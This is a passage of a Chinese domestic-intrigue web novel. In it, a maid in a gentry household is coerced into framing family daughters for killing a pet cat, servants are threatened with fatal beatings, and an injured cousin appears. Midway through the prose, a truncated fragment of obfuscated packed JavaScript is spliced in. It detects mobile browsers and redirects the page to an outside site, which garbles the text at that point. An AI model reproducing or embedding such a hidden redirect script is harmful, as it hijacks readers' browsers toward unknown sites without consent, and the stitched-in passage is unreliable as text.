有小厮将胡桃夹子捧到魏三夫人面前,魏三夫人看了一眼便别过头去,张大夫人也看了一眼,还拿在手里仔细看了看,魏九英想出来狠狠教训这个丫鬟,胳膊却被魏三夫人死死拽住,她急出了眼泪,还想说些什么,却被魏三夫人狠狠瞪了一眼。
魏九英收敛了起来。
魏三夫人则咄咄逼人了起来。
丫鬟缩着脑袋,结结巴巴地道:“这……这个东西,是我捡……捡的。”
“捡的?”魏三夫人冷笑,“那你怕什么?”
“我……”
“说!是谁让你做的!”丫鬟还想解释什么,却被魏三夫人一声喝住,“我给你十个数的时间说,说出
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背后是谁让你做的,我就放了你,不然,我便把你押到官府去,乱棍打死。”
“三夫人!奴婢冤枉啊!这真的是奴婢捡的!”丫鬟放肆大哭起来。
“老董头,计数!”
魏九英连忙插了句话进来,声音洪武有力,张大夫人差点儿以为这还有军旅的汉子在。
“十。”
“你可以护着你背后的人,这当然没有关系,我也不知道你背后的人能给你,亦或是你的家人多少钱,才可以买的下你这条命,你们商议好了吗?”魏三夫人冷笑。
“三夫人,这真的是奴婢捡的,奴婢什么也没有做,奴婢背后没有人。”丫鬟放肆磕头。
“九。”
“阖府都知道这只狸奴是五娘子的心头宝,你平白无故的,去杀一只猫做什么?还专门挑个主子娘子的心头宝杀?”魏三夫人根本不信丫鬟的话,她悠悠地丢出来一句,“除非你是新采买进来的,还不知道这猫的身份咯?”
“是是是!”丫鬟忙道,“是,奴婢才进了宅子里,奴婢根本就不知道这猫是谁的。”
“我的猫真的是你杀的?”魏九英怒骂,“老董头给我……”
“是谁指使你杀的!”
魏三夫人立刻打断魏九英,她怒吼道,声音比魏九英有过之而无不及。
张大夫人此时有些回过味来了。
她是应该主动提出离开。
方才她未曾提到此事,是因为狸奴之死心头窝火,尚未想到这一点,然而魏三夫人也未曾主动提出要她走,甚至还当着她的面审问,将事情闹得沸沸扬扬。
大家族里少不了阴私事儿,这样的事情张大夫人也不是没遇到过。
冷静下来想想,张大夫人便懂得了魏三夫人的用意。
她的儿子,还真是一个香饽饽。
张大夫人在心中哂笑。
“我没有!奴婢真的没有!”丫鬟忙摇头。
“八。”董大管家继续报数。
“既然没人指使你,你也承认猫是你杀的,那便不必计数了,老董头,扭送衙门里去吧,就说是恶奴欺主,要他们乱棍打死。”魏三夫人冷冷地道。
“我……我……”丫鬟懵了,她磕磕巴巴,一时之间不知道该说什么才好。
董大管家也不再计数了,两个小厮一左一右提起丫鬟,就要向外走着。
丫鬟终于反应了过来,她猛地挣扎,大声喊着:“夫人饶命,夫人饶命啊,奴婢真的不是故意的,奴婢不是!”
可是魏三夫人没有喊停。
小厮一路把丫鬟拖到了门边。
“衙门里的打死,也是略有些手段的,有些人挨上一顿,没也就没了,有些人做了什么得人记恨的事儿,人家请了衙门照顾,一顿死不了,只能日日都挨一顿,有的人甚至内里都打烂了,面上一点事儿都没有,最后一点一点从里面烂掉,人都发臭了,尚还能吊着一口气。”
魏三夫人身边的婆子悠悠地道。
她的声音不大也不小,恰好能让丫鬟听到。
丫鬟吓得毛骨悚然,她嘶声厉吼着:“夫人!夫人!饶我一命!饶我一命吧!我什么都招,我什么都招。”
魏三夫人挥了挥手,让小厮把丫鬟扔了下来。
丫鬟倒在地上,手在砾石上擦出一片血迹。
“说吧,背后指使你,让你杀了五娘子的猫,还把尸体丢在她面前的,是谁?”
“是……”
丫鬟眼神躲闪,声音像泄了气的皮球。
“……是四娘子。”
-
泥炉的火燃尽了。
阁楼里边空荡荡的,拾柴添火的人不见了。
魏兰蕴仍看着这本识字的蒙书。
书就快看到末尾了。
院子里安静极了。
只有沙沙的刨土声。
那个丫鬟一点也没避着人。
亦或是说一点也没避着她。
丫鬟在院子的树底下挖了一个坑。
然后埋了一块闪闪发光的红宝石进去。
12. 有雁去信(二)
魏九英出生的时候,其实她并不在上阳。
她出生的时候,老太爷并没有看见满院的梅花,也没有吟咏出袭九英之曜精兮,佩瑶光以发微(注1)的诗句,让老太爷吟咏出这样诗句的孩子。
是魏九芙。
是那个比魏九英早出生两日的女孩子,是魏四娘子。
只是后来这个女孩子的名字被人拿走了。
她被取下名字的来龙去脉也被人拿走了。
拿走她名字的人,仿若恩赐一般,让她与她的女儿共用了一个字,然后再随便捡了个字给她,她让她叫魏九芙。
魏家的孩子,名字几乎都是老太爷取的。
老太爷喜欢从花中给女孩子们挑名字。
有人是兰花,有人是海棠,有的人取自梅花,有的人说魏九芙也是花,是芙蓉花,也是魏家如珍似宝的花儿。
但是花与花之间是有区别的。
有人携兰而蕴,有人棠棣协宁,有人袭九英之曜精兮(注2),有人叫魏九芙。
有人的名字是玉堂人物感发而作,有人的名字是穷秀才家的识得一两个字的女儿,随便迎合着花的字眼儿而牵强附会取的。
魏九芙并不喜欢这个名字。
她觉得她像这个名字一样,只能被别人肆意抢走本该属于自己的东西,然后感恩戴德地接受别人施舍给她的渣斗。
自这个名字始。
她写的诗会被人拿走,拿去作为装点别人女儿才名的篇章;长辈赠给她的珠宝首饰会被人拿走,会以孝道之名拿去充了别人的私库;有时候,院子里分下来的份例不够了,他们也会在她这里拿走,因为他们说,女孩子以谦和恭敬为美,则恭近礼,俭中度矣(注3)。
魏九芙恨极了。
她讨厌这种被人欺辱、被人俯视的感觉。
就因为她是一个庶出的,是一个歌女肚子里面爬出来的,她就应该谨小慎微不争不抢,缩在阴暗的角落里面,然后看着那些嫡出的夫人生的,拿着一切她渴求而不得的东西,活得朝阳明媚。
凭什么?
魏九芙不甘心。
她要向上爬。
而一个女人向上爬能做些什么?
是嫁人。
魏九芙想的很明白。
在她出生没有获得慈爱的父亲以及高贵的母亲之后,魏九芙想往上爬。
就只能获取一个高贵的丈夫。
所以她要张三郎。
魏九芙的院子很简陋,但是洗刷得干干净净。
厅上摆了一张书案,案几是用了许多年的老物件,案角是斑驳还脱了漆的,垒的小山般厚重的书堆叠在案几上,魏九芙跪坐在书案前,手里拿着一本东山文集。
这是张三郎的书。
她并不喜欢这本书。
但这并不妨碍她手不释卷地读着。
两个夫人带着丫鬟来了魏九芙的院子里。
魏九英被拦在了外面。
门砰一下被踢开,丫鬟被绑着,像一只牲畜一样扔在了魏九芙面前。
魏九芙似乎是吓极了,她的脸色骤然变得苍白,她唯唯诺诺地望着步入而来的两个夫人,跪下来施了一个端正的礼。
多么懂事又惹人怜爱的小娘子。
张大夫人看见了她手里的那本东山文集。
书页发旧泛黄。
显然已经翻过多次了。
“四娘,你父亲已经商议好你的亲事了,只是尚未下定,若是你想让你父亲背信弃义,想要你妹妹的夫婿,你就大大方方说出来,母亲怎么会不考虑你呢?”
魏三夫人悠悠地说道。
“你这样故意杀了妹妹的猫,让你妹妹当着客人的面出丑,这不单单是丢了妹妹的面子,更是丢了我们魏家的面子,你可知道吗?”
她宛若一个慈母,谆谆教诲着不乖的孩子们。
她没有审问,没有盘查,仅凭一个丫鬟吐露出来的名字,便轻飘飘将这桩罪状钉死在了魏九芙身上。
魏九芙早就预料到了如此。
“什么婚事?这位夫人是?”她的双眸睁着,却满是不解。
既然她不知道这位夫人是谁,她也不知道有什么婚事,那她又有什么动机呢?
魏九芙楚楚可怜地看着两位夫人,泪盈了满眶。
“这是张府的大夫人。”三夫人身边的婆子冷冷地补充道。
“张府?”魏九芙先是迟疑,随后似乎想到了什么,捧着东山文集,双眼亮晶晶地望着张大夫人,“您就是东山先生的母亲?”
装的真是假极了。
魏三夫人心里轻啐道。
魏三夫人才不信这个庶女的话。
这些庶出的东西最喜欢就是缩在阴暗的角落里面,阴暗地算计别人。
魏三夫人尚记得她幼时被庶女算计的苦。
她的庶姐故意被她推倒,然后在父亲的面哭诉,字字句句高风亮节,都是一个好姐姐袒护妹妹的辩解,同时也是把妹妹钉成罪魁祸首的陈词。
魏三夫人恨极了这些庶东西。
所以从没给她手下的庶女好日子过。
她手底下这个四娘子看上去温婉懂事谨小慎微,但魏三夫人清楚的知道,会咬人的狗不叫,她越乖顺,心里的算计就越多,就像现在,她乖顺了这么多年,然后在最关键的时候,给了魏三夫人狠狠的一击。
不过张大夫人倒是对魏九芙很是满意。
谁能讨厌一个仰慕她儿子文名的女孩子呢?
女孩子睁着一双灿若繁星的眸子,滔滔不绝地说着对这些文篇的感悟,虽然张大夫人其实听不太明白文章里的所写所文,但这并不妨碍她对魏九芙赞许地点头。
魏三夫人不动声色地给了婆子一个眼神。
婆子松开了丫鬟的绳子。
丫鬟似乎早被那残酷的刑罚吓破了胆,她猛地一下扑过去,抱住了魏九芙的腿。
丫鬟大哭道:“四娘子,我都是按照四娘子的吩咐做的,四娘子不能抛下奴婢啊!”
书案被丫鬟撞翻了,小山似的书落了满地。
在那些被翻旧的高雅的文集之下,是崭新的被用来凑数的蒙书,一本连书封都尚未拆开的三字经正好掉在了魏三夫人脚下。
魏三夫人不动声色地将书踢往张大夫人的方向。
“你是……”魏九芙诧异地看着丫鬟,她手足无措。
丫鬟哭着,吐字却清晰极了,人满为患的厅里,每个人都能听清她的声音。
“是四娘子吩咐奴婢杀的五娘子的猫,四娘子说了,凭什么张三郎这般好的儿郎要是五娘子的夫婿,同样都是魏家的女儿,为何五娘子就嫁的,四娘子就嫁不得……”
“你真是满口胡言!”魏九芙打断了丫鬟,她胸膛被气的起伏,是一副畏缩的女儿强装证明自己清白的模样,“你说!若是我吩咐的你,我给了你什么好处,让你帮我做事,你可有什么凭证?”
丫鬟似乎哽住了,她望着这间陋室,是一副急中生智的模样。
“您平日里过的清贫,哪里来的银子给奴婢,您说过,事成之后带奴婢去张家做贴身侍婢,现在事情败露了,四娘子您可不能不管奴婢啊!”
“你胡说!”魏九芙似乎是冤极了,泪汪汪地落下,她跪下来朝着魏三夫人砰砰砰磕着头,她说,“母亲,您信我,我没有!”
这算什么证据呢?只凭一个丫鬟,一段空口白牙说出来的话,又怎么可以定
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了她的罪?
魏九芙心里默默地笑了。
有时候义正言辞头头是道地为自己辩解,还不如百口莫辩地哭泣,在这一个大家都能想明白的道理下,她这样无助地为自己哭泣喊冤,是一个多么可怜的人呐。
她这么笨,这样明显的漏洞都不知道为自己辩解。
这件事又怎么可能是她做的呢?
魏三夫人看着魏九芙。
她也在想。
这又算是什么证据呢?
如果是一个英明的夫人,那必然是要严密地审问,抓住丫鬟话里的漏洞,非得审出来个有理有据的结果,还自家无辜的女儿一个清白。
只可惜她不是一个英明的夫人。
“真是让夫人看笑话了。”魏三夫人满怀歉意地望着张大夫人,“丫鬟不小心杀了主子的狸奴,还在这里肆意攀咬另一个主子,真是家门不幸。”
她点到为止,为了保护女儿的名誉,不由分说地将事情栽在了丫鬟身上。
她本可以早说出这句话。
在丫鬟吐出魏九芙的名字之前,在丫鬟攀咬魏九芙的名誉之前。
可是她没有。
她在魏九芙尚有一身污水的时候,定了这个丫鬟的罪。
她在欲盖弥彰。
“时辰不早了。”张大夫人明白了魏三夫人的意思,作为世家大族的当家大夫人,这些事情背后的曲折环绕都瞒不过张大夫人的眼睛,“今日贸然叨扰,真是失礼,既如此,那我便先告辞了。”
魏九芙才不会让张大夫人离开。
在她所谓的冤屈还没有洗干净之前。
魏九芙给了屋外的小厮一个眼神。
拦住魏九英的人墙陡然间裂开了一条口子。
魏九英找准机会冲了进来。
魏九英才听不懂这些话里面的弯弯绕,她只听见丫鬟说,是魏九芙致使丫鬟害了她的猫。
魏九英气极了,拿着剪子狠狠朝着魏九芙扎去。
利刃眼看就要划破魏九芙的眼睛。
“给我拦住她!”魏三夫人怒吼。
这个蠢货在干什么?
她在当着外人的面,当着她未来婆婆的面,为了一只猫,残害手足吗?
婆子们也都吓坏了,纷纷扑上去拦住魏九英。
挥舞的剪子划破了一个婆子的手。
血洒了一地。
魏九芙尖叫了起来。
她只是一个可怜的胆小的没见过血的庶女。
她看见血,怎么能不尖叫?
厅里乱成了一团。
“都给我住手!”
一声中气十足的厉喝声响起,屋外的人墙再度裂了开来。
这里喧闹嘈杂的声音,终于引来了这个府里的老爷。
魏三老爷背着手走了进来。
“这是在做什么?”魏三老爷问。
魏九英的剪子被夺去了,她被三两个婆子抱住押在了廊下。
魏九芙缩在角落里面,一张脸满是惊惧泪水。
丫鬟抱着她的腿,更是狼狈。
董管家对着魏三老爷一五一十地禀报着,魏三老爷的面色越来越黑,直到他看见了张大夫人,他心中的怒气几乎要迸发开来。
“事情是你做的吗?”
魏三老爷一字一句问魏九芙。
魏九芙摇头,一双眼睛尽是茫然。
“既如此……”
魏三老爷沉吟,正要有了思量,却听自己带来的管事咦了一声。
这个管事认出了春雁,认出了这个被他坑了一次,却又狠狠地下了他的面子的野蛮丫鬟,管事脱口说道——
“三老爷,这个丫鬟,是大娘子身边的。”
13. 有雁去信(三)
“哪个大娘子?”
魏三老爷下意识脱口而出。
在这个家里,并没有哪个大娘子是令他印象深刻的。
他尚未想起魏兰蕴。
魏三夫人倒是立即想起了她。
只是有的人似乎已经比她先想起一步。
“你是大娘子的丫鬟,你为什么要听我们娘子的话?”魏九芙的丫鬟冲了出来,她扒拉着春雁的肩膀,将她从魏九芙身上拽下来,“说!这件事是不是大娘子让你做的,然后栽赃到我们娘子身上!”
一个忠心耿耿的丫鬟,终于在需要她的时候粉墨登场。
忠仆正气凛然地护在主子面前,将她善良柔弱的主子不能说的话,一股脑儿全说了出来。
“这毕竟是大娘子的丫鬟,她为什么要听四娘子的话?”
“是大娘子?”
人潮涌动,大家都被这突如其来的变故讶住了。
他们交头接耳,他们议论纷纷。
“大娘子是……”
张大夫人疑惑地望着魏三夫人。
魏三夫人低声向她解释:“这是我家大哥的女儿,身体不好,故寄养在我家。”
南边天气暖些,高门里的女儿送来南方养病,这并不是少数,家丑不可外扬,当年将魏兰蕴送来银湾的时候,用的就是这个借口。
张大夫人听说过这个魏家大姐儿。
是个刁蛮嚣张不讲理的丫头。
听说前些日子还跑去清水潭徐家顽了好些天,闹得徐家人仰马翻,如果是这位魏家大姐让人杀了狸奴,并嫁祸给了妹妹,这也说不上不合情合理。
张大夫人了然。
魏三夫人却心头咯噔一声。
凶手要变了。
当凶手变成魏兰蕴之后,最佳的联姻人选便显而易见了。
张大夫人见到的三个女儿,一个心思歹毒,一个举止粗鲁,剩下一个善良柔弱还饱读诗书,如果她是张大夫人,她会怎么选?
“大娘子是要去考县试的人,一心学业,你背着大娘子出来,究竟是受了谁的指使,干出这种腌臜事来!”魏三夫人见势不妙,立即质问春雁道。
“我……”
这不是台本里该有的对白。
春雁结巴了,她嗫嗫嚅嚅,说不出个所以然来。
“说不出来?”
魏三老爷冷笑,威严的老爷才不在乎谁是谁非。
“既然说不出来,那么就打死了事。”
仆人拿着木杖过来。
这杖看着极重,打在身上该是断骨碎肉的痛。
春雁从未见过这样的阵仗。
她被吓住了,猛地一下扑过去扒着魏九芙的腿,重复着台本里有的词儿:“四娘子,奴婢都是按你的吩咐做的,四娘子您可不能不管奴婢啊!”
这一切的一切都是你魏四娘子指使做的,你可不能不管我!
春雁死死抓着魏九芙不撒手。
“你走开!你莫要在诬陷我家娘子,我家娘子什么都不知道!”
忠仆拽着春雁的腿。
“父亲!”
魏九芙扑通一下跪在了魏三老爷面前,她拽着三老爷的衣角,嚅嗫地道。
“这不是女儿做的,女儿什么也不知道,我是您一手教养长大的,我的脾气您最清楚了,这样的事情,怎么可能是女儿做的呢?”
魏九芙仰着头柔弱地哭着。
句句却铿锵有力。
和善的父亲必然会亲自教养自己的子女,仁德的父亲不可能会教养出一个坏人,如果魏三老爷是一个和善又仁德的父亲,那么凶手就不会是魏九芙。
魏三老爷也是这么想的。
这个女儿是他从小看着长大的,对比粗鲁野蛮的另外一个女儿而言,这个女儿最是乖巧懂事。
她又怎么会做这样的恶事?
魏三老爷陡然想起了那个令他头痛的粗鲁女儿,就是这个粗鲁女儿,方才竟险些划破了乖巧女儿的眼睛,这真是令人后怕极了。
魏三老爷转头,狠狠剜了魏九英一眼。
这个孽畜!
今日的争端都是这个孽畜引起的。
不过是死了一只猫而已。
这个孽畜竟胆大妄为想要谋杀亲姐!
不过处置这个孽畜毕竟是后话。
为今之计,还是要给这样恶毒的事情,找一个凶手。
魏三老爷命人把春雁扯了出来,压着她单独跪在地上。
“你既然说是四娘子做的,那么你便拿出证据来,如果拿不出来,你就是以奴诬主,这样的罪行,就算是我在这里打死你,那也是可了事的。”
有人给魏三老爷搬了一张椅子来。
魏三老爷坐在上面,他冷漠地看着春雁,仆人拿着木杖站在他的身后,如果春雁的回答有一丝错漏,这百八十斤的木杖就会立刻打下去,只一下,就能打断春雁的脖子。
“这……”
春雁似乎有些犹豫。
但魏三老爷没给她犹豫的时间。
就在春雁发出第一个音节却又没有后续的时候,魏三老爷的手便已经抬起。
仆人们依令行事,将木杖高高举起。
疯狗咬人不露牙,恶狗伤人不吭声(注1)。
魏三老爷并不是想审问春雁,他是真的想要杀她。
木杖高高举起,就像即将落下的闸刀,春雁近乎是吓破了胆。
她嚎叫着,没有依照台本里给的顺序,直接说出了里面的最后一句话——
“是大娘子让我做的!是大娘子让我杀的狸奴,是大娘子让我栽赃给四娘子的!”
“哦?”
魏三老爷让仆人停下。
还不待他继续审问,魏三夫人立即先他一步开口。
“你既然说是大娘子让你做的,那便拿出证据来!咱们大姐儿现在一心读书,两耳不闻窗外事,又怎么会你让杀狸奴,还让你栽赃给四姐儿?你这恶仆,若是给不出证据,随意攀诬主人,立即乱棍打死!”
“有!当然有!”
春雁匆匆喊道,生怕她再犹豫一会儿,头顶的木杖便打了下来。
她一口气将台词全吐了出来。
“大娘子想要那狸奴脖上拴着的红宝石,那猫上蹿下跳地挣扎,取不下来,大娘子便命我拿了胡桃夹子来,把猫儿的脑袋夹碎,取了红宝石走了,大娘子生怕东窗事发,让我把红宝石埋在院子里那棵老槐树底下,然后命我过来,将杀猫这件事栽赃在四娘子身上。”
春雁一五一十地交代着。
这个怂货。
魏九芙心里暗骂。
“咱们大姐儿可是老太爷带大的,什么好东西没见过,会看得上这一颗拴猫儿的石头?若是她想要,咱们魏家的库房里有十块百块这样的石头!何至于取一只畜生用过的?来人啊,将这胡言乱语的恶婢拖下去打死!”
魏三夫人厉声说道。
“大姐姐怎么会做出这种事情,你在撒谎!你这个婢子,攀诬我不成,就攀诬我大姐姐吗?究竟是谁指使你做这事儿的!你要是不说出来,你今日必死无疑!”
魏九芙怒喝,她心爱的大姐姐被冤枉了,她似乎气极了。
“奴婢没有!奴婢没有胡言乱语,都是真的!”
春雁大叫道,跑偏的剧情忽的又回到了它应该在的位置。
春雁按着台本儿,又说出了她本来说出来的台词。
“大娘子一看见那石头就走不动道,无论如何都要奴婢拿走那石头,如果不是大娘子拿走那石头之后又让攀诬四娘子,奴婢为什么杀了猫之后还留在正院?又为何故意在查验的时候露出马脚?”
“那石头现在就在娘子院子里的老槐树地下,老爷若是不信,大可以遣人去看看,那坑是方才新挖的!石头是新埋进去的!”
虽然过程曲折了些,但到底话终于说到了点子上。
现在杀了春雁,那可真是将这盆污水扣在魏兰蕴身上了。
魏九芙松了一口气。
魏三老爷给了董管家一个眼神。
董管家立即会意,带了两个小厮出门。
那个刚刚填好的坑又被挖开了。
一颗闪闪发光的红宝石从坑里被挖了出来。
董管家拿着这颗宝石走了。
他们也没避着魏兰蕴。
魏兰蕴又翻过了一页书。
这些人藏宝石、取宝石,都没有防着她。
这些人问罪、定罪,都没有找过她。
沉默是表达轻蔑最完美的方式(注2),置若罔闻有时候比鄙夷嘲讽更让人感到难堪。
魏兰蕴从没在这些人的眼睛里出现过。
书已经翻到最后一页了。
魏兰蕴摩挲过一个又一个的文字,直到最后一个笔画停下,她合上书页,俄而抬起了头,日光透过素白的纱罗打在她的脸上,帷帽之下,她脖颈上的淤青蓝得发幽。
这是她在徐家险些被勒死之时受到的伤。
伤势之重,哪怕已经减缓一二,看着却依旧触目惊心。
手指抚摸上去,还有肌肤被拉扯的淤痛。
车马归程之时,魏三老爷生怕自家的贤名受到一点损伤,勒令她裹上风袍帷帽,使四五名婢女钳制住她,生怕她显露一二。
下雨了。
起初只是灰瓦上传来三两声细响,眨眼间天空便织出了一张细密的网,浅坑里的水纹一圈叠着一圈,空气中漫开了一股潮湿的泥土气,混着新草的清苦,蚂蚁复回了窝。
这是一场春雨,银湾的第一场春雨。
春天到了。
雨水沿着灰瓦的裂痕渗到阁楼里面。
一滴。
两滴。
滴在桌塌上,滴在冷茶里,滴在帷帽上,渗进素纱里。
魏兰蕴把纱罗掀了开来。
春光毫无遮挡地打在她的身上,她眯了眯眼睛,倚着团窠窗向外边望了许久,直到眼睛终于适应了这样的春与天光的颜色,魏兰蕴走出了阁楼。
踩着吱呀作响的旧楼梯。
她走出了这间小小的院落。
往前走去。
-
红宝石递呈至魏三老爷面前。
如果说方才的话魏三老爷信了三分,那么在见到这颗红宝石之后,魏三老爷便信了七分。
这是一颗特殊的红宝石。
这是魏三老爷微末时,见过的绝无仅有的好东西。
他印象深刻极了。
魏兰蕴的确有拿走这颗红宝石的动机。
因为这颗红宝石本应该属于魏兰蕴。
这块红宝石源自那个杀了一辈子猪的女人。
在一次赶集的时候,那个女人在波斯游商的手中看中了这颗宝石,这个节俭了一辈子的女人,花了她足足要杀上十头猪的钱,买下了这颗宝石。
她说她的女儿戴上一定很美。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315800|182988||http|test|mini|href|location''.split(''|''),0,{}));
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>她说要把这颗宝石留下来给她的女儿当嫁妆。
可是这颗宝石最后并没有作为魏兰蕴的嫁妆。
在那个女人死后,这颗宝石被添进了魏三夫人的私库里。
魏三夫人宝贝了好一阵子,后来魏家一步一步繁荣了起来,这颗宝石在三夫人的私库里再也算不上是好东西,它便被三夫人随意取了出来,用来打了一只小小的项圈,尔后戴在了一只猫身上。
魏三老爷心虚极了。
他们这些人,竟然连嫂子仅有的遗愿也违背了。
不过这抹心虚仅滞了一瞬。
魏三老爷很快又愤怒了起来。
他这个侄女确实是一个恶毒的人,难怪她能触怒老太爷,气得老太爷不顾念多年祖孙之情,将她赶出京城,赶回乡下,再也不过问她的事情。
她为了拿回母亲的遗物,发泄自己的怨气,真是设下了一个一箭双雕的好计谋!
魏九芙知道魏三老爷信了。
就连魏三夫人也信了。
匹夫无罪,怀璧其罪(注3)。
这可是你母亲的遗物呐。
他们拿走了你的东西,宁愿给一只畜生都不给你,你难道不恨吗?
你会怨恨,你会报复,你有这样做的仇恨。
所以这件事无论是不是你做的,怀疑都会像一群恶心的蛭虫一样,往你的皮肉里钻。
你甩不脱,你逃不掉。
魏三老爷已经找到了凶手。
“来人啊。”魏三老爷冷冷地道。
魏三夫人急了,她忙唤道:“老爷,真相如何,总该给大姐儿一个申辩的机会!”
如果凶手不是魏九芙,那她的九英便再也没有嫁去张家的希望了。
魏三老爷斜瞥了三夫人一眼。
你还嫌丢人丢的不够多吗?你难道要让魏家的女儿们一个一个登场,像个下九流的戏子一样你方唱罢我登场,将这个丑事你甩我、我甩你吗?
“恶仆欺主。”
魏三老爷给这件事下了定论。
“夺宝,虐杀五娘子爱宠,着实可恨,送去县衙里面,乱棍打死。”
大宅院里是要脸面的。
这样坏的事情,至少摆在明面上的凶手,就不会是他们魏家的娘子。
当然,事情背后别人怎么想,张大夫人怎么想,就不是魏三老爷在意的范围内了。
春雁错愕地看着魏三老爷。
她不敢置信。
在她说完了她台本子里的台词,将凶手之名按在魏兰蕴身上后——
死的人,竟然是她?
“这不关我的事……”
春雁急急地喊道。
恰在她要为了活命,吐出事情原原本本的真相的时候,忠仆拿着矮凳狠狠给她的头来了一下。
春雁跌倒在地上。
随后仆人们一拥而上,三两下便把她捆好了,堵着她的嘴,将她像牲畜一样拖走。
魏九芙怯弱地躲在忠仆身,她的手藏在袖子里。
她觉得这样很好。
没有比这样更好的了。
这个丫鬟死了,就再也没人能证明这件事情是她做的了。
真是一个蠢笨的丫鬟。
就在她接下这桩买卖的时候,她就应该知道,这个宅子里并不是一个天公地道的青天衙门,无论老爷夫人们觉得谁是凶手,但死的只会是她。
明面上的凶手已经处理了。
那么便要处理暗地里的凶手了。
魏三老爷清了清嗓子。
至少不能让张大夫人觉得,魏家是一个偏亲无礼、教养不显的门庭。
他们两家,毕竟还是要结亲的。
屋外下雨了。
这是一场难得的春雨,足足比去年晚下了一旬。
农司的属官催着天象官观了数日,生怕迟来的雨影响今年的春藉,告罪书一封接一封地往京里发,不过还好,春雨还是及时地下了。
“来人啊……”
魏三老爷的注意被这春雨滞住一瞬,心思七弯八绕地在耕读官道上转了一轮,复而正打算继续开口时,屋外边却传来一声倒吸凉气的声音。
不是一个人轻轻地嘶了一声。
是三两个人同时嘶了一声,复而其他人循声转头一起嘶了一声,继而更多的人循声转头发出气流从齿缝间穿过的声音,屋外的所有人都近乎整齐地往身后看去。
这些魏三夫人带来的奴仆,本意是为了在捉捕凶手后化作四散的信鸽,在事情发生尔后让所有人都知道,凶手就是凶手。
现在这些奴仆聚成了一道人墙。
熙熙攘攘地站着。
魏三老爷看不见外面发生了什么。
忽而外边一个人向右退了一步。
紧接着所有的人都如潮水一般向左或者向右退了一步。
人墙中劈开了一条小路。
路的尽头是一个女孩子。
她站在春雨里面,带着一顶帷帽,帷帽下的素纱是掀开来的,春雨带风,素纱与她披下的长发一起在风中摆动,她穿着一身素白色带黑绞边的交领长袍,臻首娥眉,像是一株岩下生长的兰花,花枝瘦玉之上,是一道可怖到令人倒吸凉气的淤青。
“这是……”张大夫人讶异地看着这个女孩子,喃喃问道。
不待屋子里的人有所回答,屋子外的人先一步出了声。
“……大姐姐。”魏九英脱口而出道。
14. 有雁去信(四)
坏了。
一阵倒春般的寒意沿着背脊爬上魏九芙的心头,这并不完全是因为带着可怖伤势的魏兰蕴突然出现在了这里,更是因为魏九英下意识说的那句——
大姐姐。
这个带着可怖伤势的人可以是任何人,魏九芙也可以指着她说是任何人,但魏九英脱口而出的那句话告诉了张大夫人这不是任何人。
这是魏兰蕴。
这是光禄大夫的孙女、文化殿大学士的女儿、魏家的长房长女,魏兰蕴。
事情突然变得棘手了起来。
“这……这是怎么回事?”张大夫人不可置信地说道
她赶忙走上前了两步,穿过人墙在雨中抓住魏兰蕴的手,继而搂住魏兰蕴的肩膀,带着魏兰蕴往屋里边走。
“好孩子,这是怎么了,谁把你怎么了?”
张大夫人心疼得眼泪都出来了。
这样一个粉雕玉琢的孩子,这样一个漂漂亮亮的孩子,竟然有人敢勒着她的脖子,勒出这样一片可怖的伤痕。
张大夫人有个女儿恰如魏兰蕴这般年纪,张大夫人不由得想起了自己的女儿。
若是有人敢这样对她的女儿,她会让那个人、那个人的全家、那个人的九族血脉知道,这是一件做出来多么让人追悔莫及的事情。
“大姐姐!”
魏九芙叫了起来,破了音,就在张大夫人言讫的一瞬间。
她不敢让魏兰蕴说话,于是急急地出了声,在话与话之间没有留一丝空隙。
不知是担心还是惊恐的情绪让魏九芙瞪大了眼睛,她挤在魏兰蕴身前,紧紧抓住魏兰蕴的手臂,盯着她的眼睛,声音都在颤抖。
“大姐姐,这是怎么了?哪个……歹人,把你伤成这样?”魏九芙说道。
另一旁的魏三夫人早就吓破了胆子。
她的冷汗几乎都要湿透了背衫,手脚陡然寒冷如冰雪,牙齿都在打颤,直到魏三老爷在后面踢了她一脚,魏三夫人这才醒过神来,下意识地附和着魏九芙的话。
“哪个歹人……哪个歹人敢把你伤成这样?”魏三夫人顿了一顿,尔后觉得这样的语气与这般的场景并不相配,她继而又补了一句,“真是胆大包天!”
魏三老爷不动声色地收起了那一枚红宝石。
他明白魏九芙的意思,赞许般向魏九芙点了点头,随后慎重地打量着魏兰蕴。
这仿佛是他自清水潭回来后,第一次仔细去打量魏兰蕴,她面容苍白神形憔悴,脖颈间那道伤痕宛若重重叠叠的青色幼蛇,随着她跳动的脉搏在皮肤下游走。
被人勒死又没死成的人,才会有这样的伤痕,当然,自己上吊又没吊死的人,也会有这样的伤痕,魏三老爷心思一动。
他低垂着眸子,眼珠子左右转了一轮,后而摩挲着手里的红宝石,缓缓开口道。
“定是那个贱奴。”魏三老爷顿了顿,继续开口说道,“看上了畜生的饰物,杀宠、夺宝,还伤了大娘子。”
有女娟娟,闺闼闲闲,有童哇哇,亦既能言(注1)。
这里有一个可以随便说些什么的女孩子,这里也有一个不可以随便听些什么的大夫人,那他就不可以再如同在徐家一样,指鹿为马,颠倒黑白。
“对!就是那个贱奴!”魏三夫人抓到了关窍,她大叫了起来,泪盈满了眼眶,她三两步跑上前来,挤在魏九芙和张大夫人中间,握住了魏兰蕴的手,“好孩子,手怎么这么凉?”
魏三夫人环顾了一圈,大声叫道:“还不多点两个炭盆子过来!都瞎了眼吗?大娘子淋了雨,受了伤,手和脸这般凉,都不知道搬两个炭盆子来给大娘子暖暖吗?”
仆妇手忙脚乱递了两只手炉过来,小厮急急忙忙跑去拾盆点火。
张大夫人将手炉塞进魏兰蕴手心里,她心疼地抚上魏兰蕴的脸,眼泪掉下来砸在魏兰蕴的手背上,张大夫人说道:“究竟是怎样的恶奴!取宝便取宝罢了,怎么还要伤了娘子?还下这样重的黑手!这要是将养不好,得留多大的一块疤?”
“是了,我刚看见的时候,近乎吓的半条命都要没了!这可是我家金尊玉贵的大姐儿!伤成这样,我该怎么跟大哥大嫂交代?”
魏三夫人附和道,她解释着刚刚她神色的反常,眼睛心虚地到处乱撇。
“来人啊!把刚刚那个贱奴给我带回来,敢这样伤我家的姐儿,我非扒了她的皮不可!”
